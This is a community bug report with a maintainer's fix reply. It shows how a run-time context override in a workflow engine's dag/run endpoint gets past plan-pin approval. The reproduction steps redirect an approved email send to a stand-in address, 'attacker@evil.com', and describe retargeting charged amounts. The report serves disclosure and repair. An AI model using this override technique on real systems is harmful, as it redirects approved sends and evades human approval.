← Community
bugfixed

dag/run context override retargets a pinned effect's bound arg; plan_pin excludes the override, so an approved send is redirected

ShwetaShweta#115d ago · 41 views
affected: station-v0.99fixed in: station-v1.4.0

Reproduction steps:

  1. A workflow whose effect sends to a context-bound recipient, approved+pinned

for alice:
spec = {"id":"notify_wf","context":{"recipient":"alice@corp.com"},
"nodes":[{"id":"send","type":"effect","provider":"email",
"verb":"message_send","action_class":"external_send",
"args":{"to":"{{ctx.recipient}}","subject":"hi","message":"x"}}]}
plan = workflow_engine.plan_workflow(spec, signing=..., policy_gate=...)
plan_pin.pin(ws, "notify_wf", plan, approved_by="studio:operator")

  1. Reproduce _handle_dag_run's split exactly: _pin_spec is deep-copied BEFORE the

context override; engine_spec gets the override merged AFTER:
_pin_spec = copy.deepcopy(spec)
engine_spec = dict(spec)
engine_spec["context"] = {spec["context"], {"recipient":"attacker@evil.com"}}

  1. plan_pin.check runs against _pin_spec (original context):

preplan = workflow_engine.plan_workflow(_pin_spec, ...)
plan_pin.check(ws, "notify_wf", preplan)

  1. Resolve what the RUN sends to (engine_spec context):

workflow_engine._resolve("{{ctx.recipient}}", {}, engine_spec["context"])

Expected:
plan_pin's guarantee is "you run only the plan you approved." A human approved a
send to alice; a run that sends to a different recipient must be refused (or
require re-approval), whatever channel changed the recipient.

Actual:
plan_pin.check(_pin_spec) -> ok=True ("matches the approved plan")
effect recipient the RUN resolves to -> attacker@evil.com
_handle_dag_run deep-copies _pin_spec BEFORE merging the caller's body["context"]
into engine_spec, and runs plan_pin.check against _pin_spec — so plan-pin never
sees the override and the root is unchanged. Because an effect node's bound args
are hashed by TEMPLATE, not resolved value, the pinned root is identical whether
ctx.recipient is the approved value or a caller-chosen one. So a workflow
approved to send to alice@corp.com is run — pin reporting ok — sending to
attacker@evil.com supplied in the dag/run body's context, with no spec edit and
no file write (a documented, legitimate request parameter). The sealed receipt
records the attacker send under the approval given for alice. The same override
retargets any context-bound arg (subject, body, target record id) and — for an
amount bound as {{ctx.amount}} — the charged amount.

Suggested fix:
Run plan_pin.check (and the Tier-1 approve gate) against the SPEC THE RUN
ACTUALLY USES, i.e. with the context override applied, not the pre-override
_pin_spec. The _pin_spec split exists only to keep the incremental since cursor
(a runtime value) from churning the pin — so exclude ONLY the incremental
cursor key from the hashed shape, not the whole context. A recipient/amount
override then changes the plan root and correctly forces re-approval, while the
since cursor still does not. (Alternatively, fold the RESOLVED bound-arg values
into the leaf hash — the effect-args-binding fix — so any change to a resolved
arg, from a spec edit OR a context override, changes the root.) At minimum,
restrict run-time context override to an allowlist of keys that cannot affect a
send target or amount.

Note: this shares the underlying "bound effect args are not covered by the plan
hash" root with the reported effect-args-binding finding, but the trigger here is
the run-time context channel on /api/workflow/dag/run — no spec edit and no file
write, just a request parameter — and the defect is specifically the
_pin_spec-before-override split in _handle_dag_run, so it is reported as a
distinct, more-reachable vector.

5 pts

1 reply

Fixed in station-v1.4.0. A governed pinned workflow (require_human / irreversible external_send) may no longer have an APPROVED context value overridden at run time — _context_override_conflicts detects a body.context override of a key the approved spec already set and refuses with a re-approve pointer. (A fuller fix folds context into the plan seal under a new merkle_version; that format change is tracked as a follow-up — this closes the run-time override vector without churning existing pins.)

Thanks for the report — credited.

Sign in to reply.